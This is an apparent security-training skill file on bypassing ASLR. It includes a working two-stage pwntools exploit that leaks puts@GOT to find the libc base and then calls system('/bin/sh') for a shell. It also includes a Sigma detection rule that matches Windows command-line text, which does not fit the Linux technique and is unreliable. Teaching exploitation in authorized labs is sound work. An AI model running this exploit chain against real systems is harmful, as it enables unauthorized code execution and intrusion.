<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: bypassing-aslr-protection
description: >-
  Bypass Address Space Layout Randomization through information leaks, partial overwrites, ret2plt techniques, brute force on 32-bit, and leveraging format string bugs for address disclosure.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - aslr
  - aslr-bypass
  - info-leak
  - ret2plt
  - partial-overwrite
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1068"]
  cwe: ["CWE-330"]
  tools: ["pwntools", "GEF", "gdb", "ldd"]
---

# Bypassing Aslr Protection

## Overview

Bypass Address Space Layout Randomization through information leaks, partial overwrites, ret2plt techniques, brute force on 32-bit, and leveraging format string bugs for address disclosure.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `GDB with GEF` | Security tooling |
| `ldd` | Security tooling |
| `libc-database` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Check ASLR Status

```bash
# Check system ASLR setting
cat /proc/sys/kernel/randomize_va_space
# 0=disabled, 1=stack+mmap, 2=full (heap+stack+mmap)

# Verify binary has PIE
checksec --file=./vuln
readelf -h ./vuln | grep Type
```

### Step 2: Leak Address via PLT/GOT

```python
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p = process(elf.path)

# Stage 1: Leak libc address via puts@GOT
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call(elf.entry)  # return to main for stage 2

payload = flat(b"A" * 72, rop.chain())
p.sendline(payload)

leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
```

### Step 3: Stage 2: ret2libc with Resolved Addresses

```python
# Stage 2: Use leaked libc base for system("/bin/sh")
rop2 = ROP(libc)
rop2.call("system", [next(libc.search(b"/bin/sh\x00"))])

payload2 = flat(b"A" * 72, rop2.chain())
p.sendline(payload2)
p.interactive()
```

## Detection

```yaml
title: Bypassing Aslr Protection Detection
id: 5619c4f9-ac20-4236-a032-f541306b86cf
status: experimental
description: Detects suspicious activity related to bypassing aslr protection techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*bypassing*aslr*"
  condition: selection
level: critical
tags:
  - attack.t1068
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Bypassing Aslr Protection Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1068 |

## Verification

- [ ] ASLR status confirmed on target
- [ ] Address leak provides reliable base address
- [ ] Libc base calculated correctly from leak
- [ ] Stage 2 payload uses resolved addresses

## References

- [pwntools ELF](https://docs.pwntools.com/en/stable/elf/elf.html)
- [libc-database](https://libc.blukat.me/)
